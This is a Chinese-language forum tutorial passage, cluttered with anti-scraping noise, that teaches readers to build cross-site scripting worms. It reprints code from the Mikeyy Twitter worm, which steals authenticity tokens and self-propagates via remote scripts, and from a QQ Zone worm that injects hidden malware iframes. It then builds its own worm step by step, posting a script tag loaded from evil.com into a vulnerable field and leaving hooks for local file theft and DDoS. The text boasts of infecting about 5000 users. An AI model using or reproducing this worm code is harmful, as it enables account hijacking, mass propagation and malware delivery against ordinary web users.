var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
/ L+ J: }6 h0 Q- M% Q* A

% s& ^; B4 \. \4 F& z. P( g3 c8 p% N& X
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
9 `! b; c! h  n. k/ H7 I
XmlHttp.send(null);
. x# x4 m$ X- l9 b# ]: Q" d
: T+ g! r7 L0 J; w3 L<script>
2 K% `9 ~! V0 R' u- o; [复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
8 J7 T% {4 A. B* V$ {( [复制代码案例:Twitter 蠕蟲五度發威
$ s% P% R: j" H. R第一版:
  下载 (5.1 KB)

6 天前 08:27
) h2 f/ F5 T8 \+ U8 ]; }" F6 m
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  
2 u1 q) f6 O8 \8 \# A' e, O: U
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

* r7 Z; O; U. }   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
9 S3 o( N: w8 F) I) D6 O
1 l5 i6 C" t- C1 y7 g   8.   catch(e) { _0x6687x2=false; }; }; };  
8 `# @: R: g! i% i5 C# b4 B复制代码第六版:   1. function wait() {  

  G9 s$ }. k2 f8 y' m   2.   var content = document.documentElement.innerHTML;  
/ j- E- B) Q$ P9 k
  t2 V* p" w. u3 M; ]9 X* e* B   3.   var tmp_cookie=document.cookie;  
/ p1 a' W4 l! B
) e8 c, G' u; j   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
' p7 K+ h" H5 P- a  k" v
0 ^- u6 `- e/ k: n2 P: E6 _   7.   var authtoken=authtoken[1];  
. w  u8 K0 |5 V8 k4 f4 x5 ~
5 H! F9 D5 D. a" [- {7 t" U) m   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
0 g3 p& ?% m! ]% C
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
+ {/ }5 c: n: H# T; o
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
2 q8 @3 N% L- l2 a
1 r+ S0 S* L' g, D; Y  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
" D2 M- c. O$ \, a& |. h3 u; I
. \) g5 `4 o: k/ _( O  J2 i8 R# J  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

( O% l9 \# Q6 H' G  ]  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

$ I' h+ x# D' {$ w. {" d. x  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

0 C  J9 |+ d* J  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
  w- d0 O/ N, U4 P3 q
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
" Y% s$ y7 W* e
4 c! U7 |* `/ J$ N5 _' y  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
0 N/ G9 ~  x: y; J: j3 Z
% d( R( G" J% Y0 {# n7 B: n) c7 K  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
# z$ @8 m' ^8 k' o2 b  P4 l- O
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
' U4 T) _1 V5 @7 J8 A4 F. _
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
% o, O: w* `& a, b# O2 c
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
1 ^) \, @& a  G( I5 G( Z# w
3 U1 Q1 L5 u6 d% U6 r$ G  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
3 K& I2 L7 S2 Z$ W% n. F3 U
  28.   var ajaxConn= new XHConn();  
+ D( q6 L/ _& O, X, {2 P5 J) H+ B8 f
) r! w  b6 U* n$ h0 j" b" {9 E  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

2 n3 ?. ]1 d: G# c0 ^6 o  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

' \. p: o3 u6 F/ y/ R5 Z  35.   var XSS=urlencode(genXSS);  

; n& \. ^0 B# v' y8 ~  36.   var ajaxConn2= new XHConn();  
8 Q4 k, \8 X! ~
3 m9 P1 U$ h, }! Q% h  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
0 j+ n+ i7 |, B, t+ {# N
  38.     

8 j. g$ ~0 U# ^1 j" M  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
3 [1 N: j% Y. g7 ~0 X& N. J. c
+ o5 m5 E! z# `/ E) F% r8 Vwindow.onerror=killErrors;
9 s) W: H+ m1 H: ~


+ v: I8 u3 F+ c0 N# Z) Wvar shendu;shendu=4;

//---------------global---v------------------------------------------
3 B8 H7 g, B/ b
2 |: {4 U& Y- F* H* x9 n//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  I7 F4 o- t. {& O8 V
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
! H4 b0 K( o# a2 C' E: R: Q/ n
var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
8 d& g: R9 w! }. M3 d
" ]! h( o$ G% c4 r1 _9 @1 T" A        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
4 K$ ?: m3 t9 y& E1 b6 A: y3 b) b
: P4 F" ]" s' F$ X$ ~        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

' z/ y6 A1 A$ Y3 Y: c' V        visitorID=visitorID.substring(cookieS+14);
' M  H) x8 a4 h7 f) E8 H
        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

  J7 B5 ?/ y: @, U9 n        get_my_blog(visitorID);

        DOshuamy();
# @) {& x) k6 X; |

; L* F0 S) i4 W- `; r
//挂马
0 _$ t, l5 c2 L6 ^9 c- _: t
- @8 R% F/ F9 ]$ Bfunction DOshuamy(){
; |! u" _; ?; Z6 ]) {2 h6 `& p
2 Q, h4 x. w* G' `: x8 }var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
" b0 y4 ^' g$ Y4 E3 \8 V* x
}


' Z/ F1 f+ e8 T. Y5 C' Y; I* a$ @3 F
) ?$ r  f  }& u+ `3 Z2 @//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

+ l8 `1 v( `6 `; S   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% _/ ^8 r4 K* H& f( H! }4 e$ p
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
, Z' f& U, B# I8 E) f
# U# r0 x0 w" N" H2 f6 d6 {' P* p   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
  I4 s. Z. L2 g, K
% f. [6 _* `) o4 Q     get_my_blogurl(guest);    //执行这个函数

( `' X+ v( A$ }: I2 X    }
& ^6 u4 D! g: d0 v- e
& m4 X9 T% v4 A! w# r}


; u" ]* D* ~9 e
& s2 x+ y. J- \) H8 Y4 J//这里似乎是判断没有登录的

function get_my_blogurl(guest){
, v5 O* M$ [1 C
6 p' I# J- }0 }# P  var mybloglist=guest;

  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
* M0 L2 d' \* A$ Q& M
8 m, W+ s; X& c0 P. E4 S5 O     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
: ^4 y& ~5 F& \( i1 X
) P3 `8 V: Y* G# f  E" ^$ w. v+ e         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
( {4 g  k3 O9 t% [, @% u  S
+ `5 v( N: o7 e        }else{break;}
) A6 u+ M' \1 w$ |
}
4 Y9 M# i5 A7 C2 C6 ~
# a9 s& S4 T( ~4 _$ `get_my_testself();    //执行这个函数
5 J1 u8 a# a6 Z8 R- E8 ?
5 U+ z& ~" V( s/ E7 k3 T4 G! {}
. K. I8 W! k& c% U6 R
1 x3 }6 j  P6 V. c
0 K! F  x# _( l: Y9 Y
//这里往哪跳就不知道了
( _! |4 i% G/ f5 h$ V
+ |$ }5 ?' ^3 s$ _2 ]- {8 ^function get_my_testself(){
. d" J) `! I: r3 ~8 _# I
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
/ }# p8 q7 Q4 G5 _) T
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

5 Z8 Q* C2 S( d* C4 J- F5 Z/ w' `      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

5 C! N3 [9 H6 D      if(xhr2){        //如果成功
7 K7 s$ \* t7 _# B1 a" P
. M: M. E7 M/ A9 Q& b: @              xhr2.open("GET",url,false);     //打开上面的那个url
# ~) G( R  s5 i1 L1 ^
              xhr2.send();
8 ]; Q/ W1 a( L. S& T8 w
              guest2=xhr2.responseText;
. W4 F: ]1 Z3 d" R0 W3 p: ~3 n
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

" m& D! A7 [, ~6 G3 O6 _              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( P4 j9 H. u" M' f9 q! W
                targetblogurlid=myblogid;   
" F! L5 O% u7 r/ H7 a  h$ D
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }

              if(mycheckit=="-1"){
5 L" X1 W$ s- k% J9 F  j
0 S# c: T3 v5 X+ q0 ~                targetblogurlid=myblogid;
' S$ U8 j9 \! F2 \1 p; d
                add_js(visitorID,targetblogurlid,gurl);    //执行它
% q, t7 ~$ ^: k$ u
                break;

6 T; T7 z- V$ ?- D- ^  I1 p+ N               }

        }      
* P# `/ t8 g! e* N
. y, }! u9 V! s6 `. @; d' J8 u/ z! c  _}

}

7 {9 i7 Q* A6 D/ H% j7 p, |6 `) M( n

6 x& x4 W" v) ~; t: O//--------------------------------------  
" V. y" b* o- h7 Q
//根据浏览器创建一个XMLHttpRequest对象
3 |3 v( ^/ ^1 P( `- ?4 N, t
4 h# o% r  u  u: N3 I" o$ R: x" Zfunction createXMLHttpRequest(){
0 M& a! v2 t& ~2 a7 g  O! F
) d( w) h5 V. c    var XMLhttpObject=null;  

% F# N5 K' i" l    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

* q4 D" j5 j5 q, G( L    else  

5 s7 h! q0 L$ {, V8 `      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
6 w& E: |" l: t
  B; z" c2 ^2 i        for(var i=0;i<MSXML.length;i++)  

        {  
& ^( `* \8 Q6 |  p( C0 A
            try  

3 Z) U+ l  {. @% l# Q% S            {  
$ S/ }* q0 Z8 M( P' n
                XMLhttpObject=new ActiveXObject(MSXML);  
0 c' R3 r: O4 F$ j6 e: F  ]. B: t8 l
" Z, r; ]5 {7 r( k) ?                break;  
, o6 I7 u& b  O4 }2 }, t3 {, F
            }  
& m. Z5 Q2 F" s; J2 c) h" }# P
8 ]. g4 A2 \7 C- O" q: q            catch (ex) {  
  u  f& V9 X9 m9 f4 f( ]
            }  
/ w, M. f2 a: W! V5 c. V& k8 v& S( |
8 a+ c! g- M. G% |- F7 b         }  
- M$ j1 R/ z) P! [; w
+ {8 i! V1 L* ]& [: o. p      }

return XMLhttpObject;

}  

7 B8 [3 ]* [6 P
. x3 F- k7 Z9 s' V1 h
//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* K# s0 Z: ~- a" v7 E/ O  O
2 [+ O5 g% V# `% [$ D8 Ss2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
7 W" ~0 {7 \+ ]! n$ a8 Q
. u9 y0 _: l5 _# S6 [9 J) r}
) S- G4 x$ Y4 L* B3 A


0 `+ _$ g* G' s: @6 `function add_jsdel(visitorID,targetblogurlid,gurl){
6 X9 a; O( `( Z3 D
var s2=document.createElement('script');
/ A$ r' i6 \; p1 R
# \7 P4 R8 t6 J/ n; {) u# t. Js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

3 S2 J# R2 Y+ f/ E5 t}
% G. |! _% b  Y5 t% `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

9 w# d2 A9 H  ?( k2 R2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
2 m: E2 I+ [" u+ M# {$ b" ]

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
3 x# e( {' y$ P+ {: O+ U
3 f1 ^8 _% p. ^3 H. d5 x首先,自然是判断不同浏览器,创建不同的对象var request = false;
0 Z+ c$ s3 F  l5 [
if(window.XMLHttpRequest) {
% F2 N  `$ G  a. \6 w
request = new XMLHttpRequest();
0 e) p& u8 D& o  X9 ]: W2 E6 {
if(request.overrideMimeType) {
$ j+ }4 o3 f7 Y( o/ h' P* n
# C2 f/ N" l% vrequest.overrideMimeType('text/xml');
) P! u; A5 Z3 Z+ O& y4 D
( j5 a' {) C% [5 `}

7 c8 P) `  e* ?& p# Q} else if(window.ActiveXObject) {
+ e0 \  e6 X2 M( U
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: g1 x2 x# w3 _( \
; f, s) q- G, ~+ o, kfor(var i=0; i<versions.length; i++) {
3 w3 n4 x  P2 v
try {
/ ?1 D* T+ H) [! O* W9 B
9 K2 x4 ?- E- \5 D' M' Y) T( j: Qrequest = new ActiveXObject(versions);

} catch(e) {}

1 M- Y0 |: Y# m6 A}
0 g) m0 Y! C6 S! x5 V8 m& X
, }7 U- H$ X. p" [" D& h}

xmlHttpReq=request;
# R6 `1 ~) b) U: c3 @/ U; J8 P' P复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
' m: [- w0 z6 y
        var Browser_Agent=navigator.userAgent;

5 k$ C( H# C5 Q; w        

3 a5 c0 y! ^8 @; C" |. M7 E        var Actual_Version,Actual_Name;
% H  ~+ {* m3 p9 t! i
7 V- _# @7 K/ ~# G* Z7 w: z! X        
+ |; O' q: |4 f3 C* v* n' E" C
) n5 o  n# q2 J        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

9 t/ k5 l2 F+ F3 f6 q  D        
/ v2 ^9 }; b+ k2 D* c$ e. q
3 u9 u3 U" z- I, a% m5 o' m        if(is_NN){

# V* D- a9 X* v. Y            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
& ?9 G$ t0 c/ {2 \3 G& o5 k
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

' @  E+ R' t: L0 h( l( F) ~

9 Y# k+ J- I( Q                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
9 u+ u. r7 ^  m0 `
  ~. v3 C) d1 C5 I, ?2 a# k                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

9 ]  h" V1 J1 A1 i( u            }

            else{

                Actual_Version=Browser_Version;

  Z& M& {2 f( @2 m0 f! T                Actual_Name=Browser_Name;

0 Q2 o" ?/ k/ \+ r* a4 F            }

3 {& t8 a% S1 P) p4 x        }
6 {1 i. o7 {% }" y* [  Z* {
        else if(is_IE){

1 b4 N5 R* A/ p9 A/ {            var Version_Start=Browser_Agent.indexOf("MSIE");
; Q' s: D+ I8 i# X- e8 q0 w
  [+ k* C' ~) b/ t: Y8 D& q2 I            var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 S4 ~! m( o+ d' h, w/ G/ n+ F
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
! q& u1 a( R2 \/ M
4 n) U% v' N) Q& I            Actual_Name=Browser_Name;
: ?: I2 G. o# D- s9 l
            
6 G% G9 ^1 S1 y2 R" s
            if(Browser_Agent.indexOf("Maxthon")!=-1){
' X4 p) p6 o0 j" ~
                Actual_Name+="(Maxthon)";

            }
& l- }) X8 g5 @! S  g* s/ O
. l; `0 [4 ?2 c3 u            else if(Browser_Agent.indexOf("Opera")!=-1){
: m! }0 D' ~% Y$ I# o# c: d1 C# C
% Y* ^* x* P; j) S, Q                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
# o2 I9 H: E$ L4 q# a* D( N0 b
; J5 u* }& `8 l1 e& A  F                var tempend=Browser_Agent.length;
" i- x& ]4 U& i3 s) m
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
* |0 l! D% l4 r0 Y  _/ H, p
            }

        }

/ u" A. U9 v) E/ ^        else if(is_Ch){
) W9 \) g; Y/ Z6 U6 g7 T
& y& q" h; D7 I3 B3 U            var Version_Start=Browser_Agent.indexOf("Chrome");

# z# _! Z. \, A2 }  w            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ L- L$ s+ [9 i. u6 c
* r1 U0 H% g! M0 E, S            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
4 W/ u! D1 f6 ?% Q+ q% ]
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
& P5 p; Y9 b" X9 |8 \# g( s$ ^+ u
                Actual_Name+="(Maxthon)";
/ z& `2 l* p$ h( p1 x$ l' |
) s6 ]: F- N# t( l            }
& ?0 W) H$ Y/ J# d7 E/ S
            else if(Browser_Agent.indexOf("Opera")!=-1){
9 b4 a$ c4 G7 t! _! A
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
4 O% R+ ^" n# z! S) u( R' {
' U- I# o, D) T  h( R) F- d6 r/ X                var tempend=Browser_Agent.length;
  u; @" x. A7 e! P- Z0 x  b6 p
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
! K# }& h! H+ s. i
6 U+ ^0 t- I( ]2 Y/ x) x        }
. a( w; X4 Q5 o, n- [
        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }

! r  ~) k' N- v6 r6 u1 g
  o3 t# y' e; e/ x) J! i- P( J/ R0 Y
: x$ n( Z$ y( n8 |& P        navigator.Actual_Name=Actual_Name;
4 ?* b" G/ R6 a0 Q8 j7 V
. Y8 L, v" K2 o- P0 H% R6 _4 H        navigator.Actual_Version=Actual_Version;
, {4 O# f( O, G; s9 m: i) x
& {0 _! ^& c9 K/ B# H- i0 A        

        this.Name=Actual_Name;
% ^! k& D& |, I9 x  u0 E) X
5 {' j  j# d; h3 G! [: U0 Q  ]% o        this.Version=Actual_Version;
5 R, O8 Y9 X  F# |- e
    }
8 b& N  b& T0 I
" a1 ?. Q1 m5 L    browserinfo();
. F8 J  T" a! R$ e8 r/ B' S
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 a" B9 {6 b8 E2 G$ Z& S
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# h  n8 C! K( B, R' b9 `
; u5 u6 S, s. q1 B    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 Y4 B$ r9 u1 P& v: b; H6 H8 F
: \* ]) H$ Y! }+ W0 `/ l8 [! z, k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- Y! j3 }  V  |! I1 }5 B复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
& N$ ?& g! _+ A3 `
var resource = xmlHttpReq.responseText;

var id=0;var result;
' G  a4 J2 |9 J
) Z% {# ]9 ^; }8 rvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
8 x5 }  e4 T) T/ {
id++;

  X4 n8 i% D2 L; [& Q, x; n6 i}
3 \* e7 P  @" G+ G- s9 l  V复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
- j* P, Y0 h; D% s
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
) Y/ @6 u5 f: ?2 `  x9 F0 V$ M
- _) M) u9 X1 f9 v, |: P& P( axmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
- F1 r2 n# {. x  X4 Y0 X
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

9 J# l# ^7 V' IxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' s( x3 h' y9 o5 W& B
xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
6 t; x9 O! l% ^9 k
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

5 \8 q8 \6 s4 E9 U+ p" hvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
. |& x7 P: R  \+ c# m
7 K. A6 r. z' W0 ?  pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 U2 O6 Y  I* B5 b- U9 i& k! [
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

, j0 T: _0 e" V9 {xmlHttpReq.send(post);                 //把传播的信息 POST出去.
0 B1 Y0 z1 Q% \* n- u7 P
( c. Y: M; W- A% h& B8 R1 u- K}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
1 L% q9 q. T3 s$ W0 t
' R. `9 y. ~" p

. s8 R5 k( n2 m$ ^0 U9 O, r+ t3 h本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 L; N2 O# D* c操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
( Y, H8 M! u7 |4 S  B





' t: d, {+ _0 B$ Z

本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
6 g0 j) I" n" Q" b* w% z" ?http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
! o- Q$ j* f  S' n